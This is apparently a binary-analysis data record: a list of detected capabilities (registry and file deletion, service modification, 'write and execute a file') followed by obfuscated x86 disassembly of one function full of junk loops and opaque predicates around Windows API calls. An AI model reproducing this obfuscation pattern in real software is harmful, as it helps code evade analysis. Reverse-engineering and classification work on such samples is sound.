Function at 0x1002e53d
Capabilities:
Accept command line arguments
Check os version
Clear file content
Create directory
Create pipe
Create process on windows
Delete directory
Delete file
Delete registry key
Delete registry value
Enumerate files on windows
Enumerate gui resources
Get common file path
Get disk information
Get file system object information
Get geographical location
Identify system language via api
Modify service
Query environment variable
Query service status
Set environment variable
Terminate process
Write and execute a file

Disassembly:
mov eax, 0x1007c076
call fcn.1007ba28
mov eax, 0x11f8
call fcn.10064d10
push ebx
xor eax, eax
mov dword [ebp - 0x10], 0xe0a8eac8
push esi
mov byte [ebp - 0x49], al
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov byte [ebp - 0x6d], dl
mov dword [ebp - 0x54], ecx
cmp byte [ebp - 0x49], al
je 0x1002e575
call edi
xor eax, eax
push 0xffffffffffffffeb
pop ebx
push 0xffffffffffffffff
mov dword [ebp - 0x10], eax
pop esi
jmp 0x1002e589
mov dword [ebp - 0x3c], esi
inc dword [ebp - 0x3c]
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jne 0x1002e580
mov dword [ebp - 0x10], 0xe0a8eac8
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e5a2
call edi
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002e5b0
mov dword [ebp - 0x3c], esi
inc dword [ebp - 0x3c]
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jne 0x1002e5a7
mov dword [ebp - 0x10], 0xe0a8eac8
mov ecx, 0x76820624
mov dword [ebp - 0x3b0], ecx
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 0x3a8], ecx
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0x17
push 1
pop ebx
jge 0x1002e643
mov dword [ebp - 0x10], 0xa986
mov dword [ebp - 0x48], 0x49968cb6
cmp dword [ebp - 0x10], eax
jne 0x1002e613
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x10], eax
je 0x1002e615
mov edx, ebx
mov eax, dword [ebp - 0x3b0]
xor ecx, ecx
cmp edx, eax
push 0
setle cl
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x3b0]
cmp dword [ebp - 0x3b0], 0x17
pop eax
jl 0x1002e5f1
mov dword [ebp - 0x1c], eax
jmp 0x1002e671
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002e668
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x284], 0x512dc6d0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002e650
xor eax, eax
inc dword [ebp - 0x284]
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff7
jle 0x1002e648
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x3c], esi
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e694
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
mov dword [ebp - 0x18], 0xffffffef
jmp 0x1002e731
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x3c], 0xee91b76e
mov dword [ebp - 0x10], eax
jmp 0x1002e6c3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5d0], 0x2c9bf5e4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002e6b2
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
sub eax, 0x3ca3691f
imul eax, dword [ebp - 0x18]
push 0
sub eax, ecx
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax, 0xdd97
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x34]
imul edx, dword [ebp - 0x34]
neg edx
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x5d0], eax
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], 0xc
mov edx, 0xffff
push 5
pop ecx
jl 0x1002e6a0
xor eax, eax
mov byte [ebp - 0x49], al
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x48], 0xa2ca335c
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002e783
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x814], 0xcf8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002e76b
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002e7a3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc14], 0x95e0e2bf
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002e78b
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1002e822
xor ecx, ecx
mov dword [ebp - 0x3c], 0x5059b8bc
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0x60a421e0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
setne cl
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x814]
setg cl
imul edx, ecx, 0x4d39
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0x63069be5
setg al
add eax, 0x4cbed562
cmp dword [ebp - 0x3c], eax
jl 0x1002e80e
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1002e810
mov ecx, ebx
jmp 0x1002e812
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x814]
sub ecx, eax
je 0x1002e820
mov eax, ebx
jmp 0x1002e822
xor eax, eax
mov dword [ebp - 0xc10], eax
cmp byte [ebp - 0x49], 0
je 0x1002e9dd
mov dword [ebp - 0x2c], 0x34bf8f0a
xor eax, eax
mov dword [ebp - 0x10], 0x307d7c11
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x28], 0x320e32cf
mov dword [ebp - 0x34], 0x49aaed6b
mov dword [ebp - 0x3c8], ebx
mov dword [ebp - 0x3c4], ebx
mov dword [ebp - 0x3c0], ebx
mov dword [ebp - 0x3bc], ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x3c], 0x47c914a3
mov dword [ebp - 0x48], 5
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002e89e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x664], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002e88a
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002e8e4
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setle dl
imul edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c0]
imul edx, edx, 0x5bb0
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
cmp dword [ebp - 0x34], ecx
jle 0x1002e8e4
xor eax, eax
mov edx, eax
jmp 0x1002e8e6
mov edx, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
sete cl
cmp ecx, esi
je 0x1002e8f7
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002e916
cmp dword [ebp - 0x3c0], eax
jne 0x1002e916
mov edx, eax
cmp dword [ebp - 0x34], eax
je 0x1002e918
mov edx, ebx
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
push 6
setg cl
pop eax
sub ecx, eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002e944
mov edx, ebx
cmp dword [ebp - 0x1c], eax
jne 0x1002e946
mov edx, eax
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x3c0]
cmp ecx, 0x9afff74b
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x664]
sub eax, dword [ebp - 0x48]
cmp eax, 8
mov eax, dword [ebp - 0x28]
setl cl
sub ecx, eax
imul eax, ecx, 0x963e
xor ecx, ecx
cmp eax, 0xb100
mov eax, dword [ebp - 0x1c]
setg cl
cmp ecx, 0xcc425f8e
sbb ecx, ecx
neg ecx
sub ecx, eax
mov dword [ebp - 0x3c0], ecx
mov eax, dword [ebp - 0x34]
sub ecx, eax
cmp ecx, dword [ebp - 0x30]
jg 0x1002e9c6
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x2c], eax
je 0x1002e9c8
mov ecx, ebx
mov eax, dword [ebp - 0x30]
xor edx, edx
add ecx, 0xffff39a0
cmp ecx, eax
setge dl
mov dword [ebp - 0x10], edx
call edi
mov dword [ebp - 0x3e0], ebx
mov eax, 0x598aaf0a
mov dword [ebp - 0x3dc], ebx
mov dword [ebp - 0x3d8], ebx
mov dword [ebp - 0x3d4], ebx
mov dword [ebp - 0x28], 0x68108531
mov dword [ebp - 0x93c], eax
mov dword [ebp - 0x938], eax
mov dword [ebp - 0x934], eax
mov dword [ebp - 0x930], eax
mov esi, dword [ebp - 0x3d8]
sub esi, dword [ebp - 0x3e0]
mov eax, dword [ebp - 0x3e0]
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
cmp eax, 0x4320e32c
mov eax, dword [ebp - 0x3d8]
setl cl
xor edx, edx
cmp esi, ecx
setge dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x3dc]
setle bl
xor ecx, ecx
cmp ebx, eax
setl cl
cmp ecx, 0xb963
jl 0x1002ea74
xor eax, eax
cmp dword [ebp - 0x3d8], eax
jne 0x1002ea74
xor edx, edx
mov ecx, eax
inc edx
jmp 0x1002ea79
xor edx, edx
inc edx
mov ecx, edx
xor eax, eax
cmp ecx, 0xec3203b
setg al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x938], eax
mov dword [ebp - 0x28], 0xffffffe3
cmp dword [ebp - 0x28], 0x1b
jl 0x1002eacc
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x48], 0xf4039ee4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffffc
jg 0x1002eac3
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffc
jle 0x1002eab2
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1b
jge 0x1002ea9f
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffeb
je 0x1002eae5
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x3c]
dec dword [ebp - 0x10]
jmp 0x1002ead4
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x48], 0x89afca86
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002eb16
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2d4], 0xaf11
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002eafe
xor eax, eax
mov ebx, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov esi, dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002ec4a
mov dword [ebp - 0x2c], 0xe0091df8
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x10], 0x2e6c0b33
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x48], 0xf47f28a9
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x2d4], edx
je 0x1002ec07
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x3c], 0x10b42b8f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1002ebae
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], eax
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1002eb9e
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1002ec19
mov dword [ebp - 0x28], eax
jmp 0x1002ebfb
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ebd4
push 0x386
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ebf8
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x24d7
push 0x1735
push 0x95c
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002ebbb
dec dword [ebp - 0x2c]
jns 0x1002ebb6
jmp 0x1002ec19
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002ec17
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1002ec2f
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ec2c
push eax
call esi
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], eax
jle 0x1002ec1e
inc dword [ebp - 0x18]
push 1
pop edx
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x18], eax
jle 0x1002eb2e
xor eax, eax
or ecx, ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002ec6c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x538], 0x841b3c69
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002ec53
xor eax, eax
mov dword [ebp - 0x530], eax
jmp 0x1002ec9e
mov dword [ebp - 0x48], 0x43046b6e
mov dword [ebp - 0x3c], 0x464f16ef
mov eax, dword [ebp - 0x530]
sub eax, dword [ebp - 0x48]
sub eax, 0xb9dd952e
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0x530]
cmp dword [ebp - 0x530], 0xffffffe4
jne 0x1002ec74
mov eax, dword [ebp - 0x530]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x534], eax
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x48], 0x89afca86
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002ecec
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2dc], 0xaf11
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002ecd4
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002ee10
mov dword [ebp - 0x2c], 0xe0091df8
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x10], 0x2e6c0b33
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x48], 0xf47f28a9
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x2dc], edx
je 0x1002edd1
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x3c], 0x10b42b8f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1002ed78
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], eax
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1002ed68
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1002ede3
mov dword [ebp - 0x28], eax
jmp 0x1002edc5
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ed9e
push 0x386
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002edc2
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x24d7
push 0x1735
push 0x95c
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002ed85
dec dword [ebp - 0x2c]
jns 0x1002ed80
jmp 0x1002ede3
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002ede1
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1002edf9
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002edf6
push eax
call esi
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], eax
jle 0x1002ede8
inc dword [ebp - 0x18]
push 1
pop edx
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x18], eax
jle 0x1002ecf8
mov dword [ebp - 0x24], 0xe0a8eac8
mov eax, 0x598aaf0a
mov dword [ebp - 0x3f8], edx
mov dword [ebp - 0x3f4], edx
mov dword [ebp - 0x3f0], edx
mov dword [ebp - 0x3ec], edx
mov dword [ebp - 0x28], 0x68108531
mov dword [ebp - 0x95c], eax
mov dword [ebp - 0x958], eax
mov dword [ebp - 0x954], eax
mov dword [ebp - 0x950], eax
mov esi, dword [ebp - 0x3f0]
sub esi, dword [ebp - 0x3f8]
mov eax, dword [ebp - 0x3f8]
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
cmp eax, 0x4320e32c
mov eax, dword [ebp - 0x3f0]
setl cl
xor edx, edx
cmp esi, ecx
setge dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x3f4]
setle bl
xor ecx, ecx
cmp ebx, eax
setl cl
cmp ecx, 0xb963
jl 0x1002eeae
xor eax, eax
cmp dword [ebp - 0x3f0], eax
jne 0x1002eeae
xor esi, esi
mov ecx, eax
inc esi
jmp 0x1002eeb3
xor esi, esi
inc esi
mov ecx, esi
xor eax, eax
cmp ecx, 0xec3203b
setg al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x958], eax
mov dword [ebp - 0x28], 0xffffffe3
cmp dword [ebp - 0x28], 0x1b
jl 0x1002ef06
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x48], 0xf4039ee4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffffc
jg 0x1002eefd
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffc
jle 0x1002eeec
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1b
jge 0x1002eed9
xor eax, eax
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x3c], 0xffffffff
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002ef2b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
mov dword [ebp - 0x18], 0xffffffef
mov ebx, 0xffff
cmp dword [ebp - 0x18], 0xc
jge 0x1002efd8
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x3c], 0xee91b76e
mov dword [ebp - 0x10], eax
jmp 0x1002ef64
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x660], 0x2c9bf5e4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002ef53
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
sub eax, 0x3ca3691f
imul eax, dword [ebp - 0x18]
push 0
sub eax, 5
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax, 0xdd97
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x34]
imul edx, dword [ebp - 0x34]
neg edx
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x660], eax
inc dword [ebp - 0x18]
pop eax
jmp 0x1002ef37
cmp byte [ebp - 0x11], 0
je 0x1002f0c6
mov dword [ebp - 0x10], ebx
xor eax, eax
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x48], 0xa2ca335c
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002f01f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x754], 0xcf8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002f007
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002f03f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa24], 0x95e0e2bf
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002f027
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1002f0be
xor ecx, ecx
mov dword [ebp - 0x3c], 0x5059b8bc
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0x60a421e0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
setne cl
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x754]
setg cl
imul edx, ecx, 0x4d39
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0x63069be5
setg al
add eax, 0x4cbed562
cmp dword [ebp - 0x3c], eax
jl 0x1002f0aa
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1002f0ac
mov ecx, esi
jmp 0x1002f0ae
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x754]
sub ecx, eax
je 0x1002f0bc
mov eax, esi
jmp 0x1002f0be
xor eax, eax
mov dword [ebp - 0xa20], eax
call edi
mov eax, 0x76820624
or edi, 0xffffffff
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], eax
xor eax, eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0x17
jge 0x1002f14f
mov dword [ebp - 0x10], 0xa986
mov dword [ebp - 0x48], 0x49968cb6
cmp dword [ebp - 0x10], eax
jne 0x1002f11f
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x10], eax
je 0x1002f121
mov edx, esi
mov eax, dword [ebp - 0x410]
xor ecx, ecx
cmp edx, eax
push 0
setle cl
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x410]
cmp dword [ebp - 0x410], 0x17
pop eax
jl 0x1002f0fd
mov dword [ebp - 0x1c], eax
jmp 0x1002f17d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002f174
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2e8], 0x512dc6d0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002f15c
xor eax, eax
inc dword [ebp - 0x2e8]
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff7
jle 0x1002f154
push 0xffffffffffffffeb
mov dword [ebp - 0x24], eax
pop ebx
cmp dword [ebp - 0x24], ebx
je 0x1002f34e
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x30], 0x34bf8f0a
mov dword [ebp - 0x10], 0x307d7c11
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], 0x320e32cf
mov dword [ebp - 0x2c], 0x49aaed6b
mov dword [ebp - 0x428], esi
mov dword [ebp - 0x424], esi
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x41c], esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x3c], 0x47c914a3
mov dword [ebp - 0x48], 5
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002f1ff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x650], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002f1eb
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x1002f245
mov eax, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setle dl
imul edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x420]
imul edx, edx, 0x5bb0
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
cmp dword [ebp - 0x2c], ecx
jle 0x1002f245
xor eax, eax
mov edx, eax
jmp 0x1002f247
mov edx, esi
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
sete cl
cmp ecx, edi
je 0x1002f258
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1002f277
cmp dword [ebp - 0x420], eax
jne 0x1002f277
mov edx, eax
cmp dword [ebp - 0x2c], eax
je 0x1002f279
mov edx, esi
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
push 6
setg cl
pop eax
sub ecx, eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002f2a5
mov edx, esi
cmp dword [ebp - 0x1c], eax
jne 0x1002f2a7
mov edx, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x420]
cmp ecx, 0x9afff74b
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x34], eax
